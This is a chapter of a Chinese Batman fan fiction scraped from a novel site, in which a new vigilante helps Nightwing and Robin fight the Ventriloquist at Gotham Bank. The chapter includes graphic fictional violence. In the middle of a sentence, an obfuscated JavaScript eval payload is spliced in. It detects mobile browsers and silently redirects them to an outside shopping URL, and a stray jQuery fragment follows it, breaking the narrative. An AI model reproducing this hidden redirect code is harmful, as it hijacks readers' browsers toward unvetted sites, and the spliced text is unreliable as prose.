文趣网 > 其他小说 > [综英美]我在哥谭拼乐高 > 5. 腹语者
    蝙蝠侠想起戈登说过的话:“一个新的独立义警。”

    蝙蝠侠嘴角微微上扬,打算在回蝙蝠洞后给这位“黑羊”小姐建一个新的档案。

    就在他即将到达收治哈维·丹特的医院时,阿尔弗雷德发话了。

    【少爷,黑羊出现了。】

    随之而来的是实时的监控录像,地点位于哥谭银行。

    ——

    时间倒回二十分钟前。

    尤莉刚从药店出来,50%的葡萄糖溶液很大程度上缓解了她不适的症状。一旁的珂奈特贴心地列出了她目前的不适:

    【严重低血糖,肌肉挫伤,伤口撕裂。】

    尤莉觉得自己没当场晕过去都是个奇迹。就在她准备回家换一套衣服、然后到哥谭市医院找玛丽时,那个“透支”的能力突然自己发动了。

    “Wow,看看这是什么?一只小绵羊。”

    尤莉看向一旁的小巷,只见几名看起来像是刚吸完毒的男人蹲在巷尾,旁边倒着一个被打晕的男人。

    尤莉:“……”

    这就是义警的夜巡吗?

    尤莉无奈,只好将手中的那一袋葡萄糖扔在地上,转身朝着巷子里走去。

    就这样,尤莉重复着“打架—报警—休息—接着打架”的行动,一路打到了哥谭银行。

    尤莉站在高处观望着底下被GCPD包围的哥谭银行。忽然,一个穿着罗宾制服的小男孩砸碎玻璃摔了出来,紧跟着的是夜翼。

    一个秃到只有两侧才有头发的男人走了出来,嘴里说着“你们毁了我的人偶”,随后将一个穿着西装、破烂不堪的人偶丢到地上。

    夜翼:“好吧,这家伙到底是谁?他对真正的腹语者做了什么,你有什么想法吗?”

    罗宾:“有趣……我正想问你一样的问题。”

    两人看着腹语者抓起一个GCPD巡警。巡警的头部血肉模糊,血液从口中流出,在下颚与脖颈之间形成了一道血色瀑布。他的眼睛还睁着,但瞳孔已经无法聚焦,没人知道他此时是否还活着。

    “有两个小孩弄坏了我的人偶,我们该怎么惩罚这两个淘气鬼?”

    腹语者将警察抓到自己身边。下一秒,警察的嘴在他手中被强制张开,一个声音从警察的喉咙里爬了出来:“折断他们的脊椎,让他们尖叫。”

    “是的,我们要折断他们的脊椎,然后呢?”

    “视而不见,血染哥谭。”

    罗宾看着这一幕,心里不免有些恶寒。他悄咪咪地对夜翼说:“嗯……我想我们需要点支援。”

    尤莉经过强化的视力让她清晰地看见了这一切的发生。她看见阿诺德·韦斯克在操纵警察的身体时,手指在警察颈部两侧反复调整位置,就像是在给吉他调弦一样。

    他不是在施加暴力——他是认真地在重新组装一个人偶。旧的坏了,所以他需要一个新的。

    下面传来疤面的声音,它在和警察对话。韦斯克在用警察的嘴和自己一唱一和。

    “这两个小孩以为自己很厉害。”疤面尖笑着说。

    “他们不知道自己面对的是谁。”警察口中涌出含血的低语。

    “疤面会教他们。”

    “是的,教会他们。”

    然后韦斯克举起警察,像举着一个盾牌,从台阶上缓步走了下来。他的每一个动作都伴随着警察喉咙里血沫翻涌的咕噜声。防爆警察的盾牌阵开始骚动,有人开始举枪,但没人开枪。

    谁都不想将枪口对准自己的同僚。

    尤莉站起身,往口袋里塞下仅剩的两支葡萄糖后拉上拉链,从高楼一跃而下。

    珂奈特告诉她,那个警察还有一分钟的存活时间——韦斯克的手指正按在他的颈动脉上,不是施加压力,而是寻找位置。

    一个腹语师对人偶的掌控,往往从喉咙开始。

    罗宾首先听到的是风声——不是直升机旋翼的风,也不是夜风吹过建筑物间隙的气流声。

    那是一个物体从高处落下的呼啸。紧接着他看见一道黑影从天而降,落点不是地面,而是韦斯克的肩膀。

    尤莉的双脚踩在韦斯克肩膀上的瞬间,骨头断裂的声音随之响起。冲击力使得韦斯克整个人向前趔趄。

    他控制警察的左手出现了一个微小的破绽,警察的身体从他指尖滑脱了半寸。

    尤莉眼疾手快地抓住警察的衣领,借着惯性将警察从韦斯克手中扯出,整个人在空中扭转,将警察横抱在身前,落在夜翼左侧三步的位置。

    她把警察平放在台阶上,两根手指按在他的颈动脉上。有脉搏,虽然微弱但还在跳动。

    气管没有被压碎,血液主要来自口腔内部和鼻腔。尤莉撕下警察制服袖口的一截布条,塞进他上下牙之间,防止舌头后坠窒息,然后把他转向侧卧。

    “他需要医生,现在。”

    罗宾愣了一秒——从高处落下的时机、着陆点的选择、对人质伤势的瞬间评估和处理,都做得非常好。

    “OMG……”

    这不是普通义警能做到的。她不是来打架的,她是为了救人。

    “快把他带走。”迪克对着警察们低喊。

    台阶顶端,韦斯克缓缓转过身来,他的肩膀被踩出一个凹陷的痕迹。

    他的眼睛里已经看不到任何属于阿诺德·韦斯克的东西了——那个懦弱温和的中年男人被完全淹没了,只剩下一个失去了旧木偶、正在用人类当替代品的疯子。

    他低头看了看自己空着的左手,又看了看被同僚带走的警察人偶。再抬起头时,疤面的声音从他的嘴唇里喷涌而出,声调比刚才高了整整一个八度。

    “又一个。”木偶的声线在发抖,但那是兴奋的颤抖。

    “又一个淘气鬼,疤面喜欢新的木偶材料!”

    韦斯克的身体在声音落下的同时发动了攻击。他的速度远超出他那个体型应有的水准,十米的距离被他用两次跨步缩短为零,右手成爪状抓向尤莉的脖子。

    同样的手法——他要把她也变成一个“人偶”。

    尤莉闪开了,但不是向后,而是向前。她右手握拳狠狠打向韦斯克的手肘——那是尺神经沟的位置。普通人磕到这里手臂都会麻痹,但

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891100|212737||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    韦斯克的神经末梢不知为何已经完全乱了套。

    他不仅没有麻痹的反应,而且还用那只手抓住了尤莉的手臂。

    “I got you.”疤面尖笑着说。

    下一秒,夜翼趁着韦斯克注意力全在尤莉身上的机会,一棍子狠狠敲在韦斯克抓着尤莉的那只手上。

    骨头发出断裂的脆响,尤莉顺着韦斯克的抓握方向转身,用他的力量为支点,凌空一脚踢在韦斯克的头上。

    韦斯克的头部被踢得向侧面猛地一甩,抓握的力量松动了零点几秒。

    零点几秒足够她抽出手来。

    她落回地面,右手按住左臂,她察觉到自己之前的伤口已经开始流血。

    她被抓住的地方已经开始发紫,血管在皮下破裂。而韦斯克只是甩了甩头,嘴角挂着一丝血,在笑——那不是人类的笑容。

    她打不动他,至少不能像对付普通人那样。

    “两分钟,制服他,行吗?”尤莉回头对着夜翼和罗宾说。

    尤莉在之前的战斗中已经摸清了自己的能力:一场战斗时间越长,她的副作用就越严重,同时战斗中受的伤不会消失,但不使用能力时痛觉会减轻。

    “两分钟。”夜翼重复了一遍这个时间,像是在心里把它刻在战术沙盘的正中央。他没有问两分钟之后会发生什么——尤莉按住左臂的那个动作已经告诉了他答案。

    她的时限在燃烧,她要支撑不住了。

    “罗宾,”夜翼短促地说。

    “我把他要到手的人质抢回来后,韦斯克会优先攻击谁?”

    “你。”罗宾说,“但是疤面恨我,因为我踩碎了他的木偶。”

    “那就让他恨你。”

    罗宾的嘴角微微上扬,那不是笑,是某种掠食者在确认猎物位置时的表情。他甩掉警棍上沾着的碎玻璃,向左侧横向移动,故意踩在疤面木偶的残骸上。

    木质碎片在他脚下发出最后一声脆响,彻底化为齑粉。

    疤面的尖叫撕裂了夜空。

    “你——!”韦斯克的脖子以一个不属于人类的幅度扭向罗宾,颈椎发出咯咯的声响。他丢下对尤莉的追击,整个人像一头被激怒的斗牛一样冲向罗宾,双臂张开,试图用一个熊抱将他困住。

    那是腹语师控制木偶的起手式——他要把罗宾变成下一个“搭档”。

    “太慢了,”罗宾冷声说。他不是在嘲讽,而是在陈述事实。罗宾从韦斯克左臂下方滑过,像一条穿过门缝的蛇,警棍反手砸在他膝弯。

    韦斯克单膝跪地,但立刻反弹起来,速度比罗宾预计的快了整整一倍。

    “夜翼!”

    夜翼已经在韦斯克起身的轨迹上等着他了。夜翼没有正面硬碰,他太清楚自己的力量不如现在的韦斯克。

    他用短棍别住韦斯克的左臂,整个人的体重挂在关节上,强行限制他的行动范围。

    韦斯克咆哮着甩臂,夜翼的身体被甩得横飞起来,但他的短棍始终没有松开,像一根楔子一样卡死在韦斯克的肘关节里。

    “Hey you!现在!”